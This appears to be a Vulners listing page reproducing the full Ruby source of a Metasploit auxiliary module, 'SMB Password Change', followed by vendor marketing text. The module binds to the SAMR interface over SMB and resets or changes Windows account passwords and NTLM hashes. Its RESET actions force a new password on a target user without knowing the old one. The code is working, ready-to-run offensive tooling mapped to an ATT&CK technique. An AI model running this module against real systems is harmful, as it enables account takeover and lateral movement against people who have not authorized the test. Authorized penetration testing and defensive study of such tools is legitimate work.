Lucene search
+L

SMB Password Change

🗓️ 09 Dec 2024 19:00:38Reported by smasheryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 486 Views

Change account passwords using SMB with various API options and actions for security management.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb/dcerpc/client'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Auxiliary::Report
  include Msf::OptionalSession::SMB

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SMB Password Change',
        'Description' => %q{
          Change the password of an account using SMB. This provides several different
          APIs, each of which have their respective benefits and drawbacks.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'smashery'
        ],
        'References' => [
          ['URL', 'https://github.com/fortra/impacket/blob/master/examples/changepasswd.py'],
          [ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => []
        },
        'Actions' => [
          [ 'RESET', { 'Description' => "Reset the target's password without knowing the existing one (requires appropriate permissions). New AES kerberos keys will be generated." } ],
          [ 'RESET_NTLM', { 'Description' => "Reset the target's NTLM hash, without knowing the existing password. AES kerberos authentication will not work until a standard password change occurs." } ],
          [ 'CHANGE', { 'Description' => 'Change the password, knowing the existing one. New AES kerberos keys will be generated.' } ],
          [ 'CHANGE_NTLM', { 'Description' => 'Change the password to a NTLM hash value, knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.' } ]
        ],
        'DefaultAction' => 'RESET'
      )
    )

    register_options(
      [
        OptString.new('NEW_PASSWORD', [false, 'The new password to change to', ''], conditions: ['ACTION', 'in', %w[CHANGE RESET]]),
        OptString.new('NEW_NTLM', [false, 'The new NTLM hash to change to. Can be either an NT hash or a colon-delimited NTLM hash'], conditions: ['ACTION', 'in', %w[CHANGE_NTLM RESET_NTLM]], regex: /^([0-9a-fA-F]{32}:)?[0-9a-fA-F]{32}$/),
        OptString.new('TARGET_USER', [false, 'The user to reset the password of.'], conditions: ['ACTION', 'in', %w[RESET RESET_NTLM]])
      ]
    )
  end

  def connect_samr
    vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol')
    @samr = @tree.open_file(filename: 'samr', write: true, read: true)

    vprint_status('Binding to \\samr...')
    @samr.bind(endpoint: RubySMB::Dcerpc::Samr)
    vprint_good('Bound to \\samr')
  end

  def run
    case action.name
    when 'CHANGE'
      run_change
    when 'RESET'
      run_reset
    when 'RESET_NTLM'
      run_reset_ntlm
    when 'CHANGE_NTLM'
      run_change_ntlm
    end
  rescue RubySMB::Error::RubySMBError => e
    fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")
  rescue Rex::ConnectionError => e
    fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")
  rescue Msf::Exploit::Remote::MsSamr::MsSamrError => e
    fail_with(Module::Failure::BadConfig, "[#{e.class}] #{e}")
  rescue ::StandardError => e
    raise e
  ensure
    @samr.close_handle(@domain_handle) if @domain_handle
    @samr.close_handle(@server_handle) if @server_handle
    @samr.close if @samr
    @tree.disconnect! if @tree

    # Don't disconnect the client if it's coming from the session so it can be reused
    unless session
      simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
      disconnect
    end
  end

  def authenticate(anonymous_on_expired: false)
    if session
      print_status("Using existing session #{session.sid}")
      self.simple = session.simple_client
      simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too
    else
      connect
      begin
        begin
          smb_login
        rescue Rex::Proto::SMB::Exceptions::LoginError => e
          if (e.source.is_a?(Rex::Proto::Kerberos::Model::Error::KerberosError) && [Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_KEY_EXPIRED].include?(e.source.error_code) ||
              e.source.is_a?(::WindowsError::ErrorCode) && [::WindowsError::NTStatus::STATUS_PASSWORD_EXPIRED, ::WindowsError::NTStatus::STATUS_PASSWORD_MUST_CHANGE].include?(e.source))
            if anonymous_on_expired
              # Password has expired - we'll need to anonymous connect
              print_warning('Password expired - binding anonymously')
              opts = {
                username: '',
                password: '',
                domain: '',
                auth_protocol: Msf::Exploit::Remote::AuthOption::NTLM
              }
              disconnect
              connect
              smb_login(opts: opts)
            elsif action.name == 'CHANGE_NTLM'
              fail_with(Module::Failure::UnexpectedReply, 'Must change password first. Try using the CHANGE action instead')
            else
              raise
            end
          else
            raise
          end
        end
      rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
        fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
      end
    end

    report_service(
      host: simple.address,
      port: simple.port,
      host_name: simple.client.default_name,
      proto: 'tcp',
      name: 'smb',
      info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
    )

    begin
      @tree = simple.client.tree_connect("\\\\#{simple.address}\\IPC$")
    rescue RubySMB::Error::RubySMBError => e
      fail_with(Module::Failure::Unreachable,
                "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
    end

    connect_samr
  end

  def parse_ntlm_from_config
    new_ntlm = datastore['NEW_NTLM']
    fail_with(Msf::Exploit::Failure::BadConfig, 'Must provide NEW_NTLM value') if new_ntlm.blank?
    case new_ntlm.count(':')
    when 0
      new_nt = new_ntlm
      new_lm = nil
    when 1
      new_lm, new_nt = new_ntlm.split(':')
    else
      fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid value for NEW_NTLM')
    end

    new_nt = Rex::Text.hex_to_raw(new_nt)
    new_lm = Rex::Text.hex_to_raw(new_lm) unless new_lm.nil?
    fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid NT hash value in NEW_NTLM') unless new_nt.length == 16
    fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid LM hash value in NEW_NTLM') unless new_lm.nil? || new_nt.length == 16

    [new_nt, new_lm]
  end

  def get_user_handle(domain, username)
    vprint_status("Opening handle for #{domain}\\#{username}")
    @server_handle = @samr.samr_connect
    domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain)
    @domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: domain_sid)
    user_rids = @samr.samr_lookup_names_in_domain(domain_handle: @domain_handle, names: [username])
    fail_with(Module::Failure::BadConfig, "Could not find #{domain}\\#{username}") if user_rids.nil?
    rid = user_rids[username][:rid]

    @samr.samr_open_user(domain_handle: @domain_handle, user_id: rid)
  rescue RubySMB::Dcerpc::Error::SamrError => e
    fail_with(Msf::Exploit::Failure::BadConfig, e.to_s)
  end

  def run_change_ntlm
    fail_with(Module::Failure::BadConfig, 'Must set NEW_NTLM') if datastore['NEW_NTLM'].blank?
    fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank?
    fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank?
    new_nt, new_lm = parse_ntlm_from_config
    print_status('Changing NTLM')
    authenticate(anonymous_on_expired: false)

    user_handle = get_user_handle(datastore['SMBDomain'], datastore['SMBUser'])

    if Net::NTLM.is_ntlm_hash?(Net::NTLM::EncodeUtil.encode_utf16le(datastore['SMBPass']))
      old_lm, old_nt = datastore['SMBPass'].split(':')
      old_lm = [old_lm].pack('H*')
      old_nt = [old_nt].pack('H*')

      @samr.samr_change_password_user(user_handle: user_handle,
                                      new_nt_hash: new_nt,
                                      new_lm_hash: new_lm,
                                      old_nt_hash: old_nt,
                                      old_lm_hash: old_lm)
    else
      @samr.samr_change_password_user(user_handle: user_handle,
                                      old_password: datastore['SMBPass'],
                                      new_nt_hash: new_nt,
                                      new_lm_hash: new_lm)
    end

    print_good("Successfully changed password for #{datastore['SMBUser']}")
    print_warning('AES Kerberos keys will not be available until user changes their password')
  end

  def run_reset_ntlm
    fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank?
    new_nt, = parse_ntlm_from_config
    print_status('Resetting NTLM')
    authenticate(anonymous_on_expired: false)

    user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER'])

    user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
      tag: RubySMB::Dcerpc::Samr::USER_INTERNAL1_INFORMATION,
      member: RubySMB::Dcerpc::Samr::SamprUserInternal1Information.new(
        encrypted_nt_owf_password: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.new(buffer: RubySMB::Dcerpc::Samr::EncryptedNtOwfPassword.encrypt_hash(hash: new_nt, key: simple.client.application_key)),
        encrypted_lm_owf_password: nil,
        nt_password_present: 1,
        lm_password_present: 0,
        password_expired: 0
      )
    )
    @samr.samr_set_information_user2(
      user_handle: user_handle,
      user_info: user_info
    )

    print_good("Successfully reset password for #{datastore['TARGET_USER']}")
    print_warning('AES Kerberos keys will not be available until user changes their password')
  end

  def run_reset
    fail_with(Module::Failure::BadConfig, "Must set TARGET_USER, or use CHANGE/CHANGE_NTLM to reset this user's own password") if datastore['TARGET_USER'].blank?
    fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank?
    print_status('Resetting password')
    authenticate(anonymous_on_expired: false)

    user_handle = get_user_handle(datastore['SMBDomain'], datastore['TARGET_USER'])

    user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
      tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
      member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
        i1: {
          password_expired: 0,
          which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
        },
        user_password: {
          buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
            datastore['NEW_PASSWORD'],
            simple.client.application_key
          )
        }
      )
    )
    @samr.samr_set_information_user2(
      user_handle: user_handle,
      user_info: user_info
    )
    print_good("Successfully reset password for #{datastore['TARGET_USER']}")
  end

  def run_change
    fail_with(Module::Failure::BadConfig, 'Must set NEW_PASSWORD') if datastore['NEW_PASSWORD'].blank?
    fail_with(Module::Failure::BadConfig, 'Must set SMBUser to change password') if datastore['SMBUser'].blank?
    fail_with(Module::Failure::BadConfig, 'Must set SMBPass to change password, or use RESET/RESET_NTLM to force-change a password without knowing the existing password') if datastore['SMBPass'].blank?
    print_status('Changing password')
    authenticate(anonymous_on_expired: true)

    if Net::NTLM.is_ntlm_hash?(Net::NTLM::EncodeUtil.encode_utf16le(datastore['SMBPass']))
      old_lm, old_nt = datastore['SMBPass'].split(':')
      old_lm = [old_lm].pack('H*')
      old_nt = [old_nt].pack('H*')
      @samr.samr_unicode_change_password_user2(target_username: datastore['SMBUser'], new_password: datastore['NEW_PASSWORD'], old_nt_hash: old_nt, old_lm_hash: old_lm)
    else
      @samr.samr_unicode_change_password_user2(target_username: datastore['SMBUser'], old_password: datastore['SMBPass'], new_password: datastore['NEW_PASSWORD'])
    end

    print_good("Successfully changed password for #{datastore['SMBUser']}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation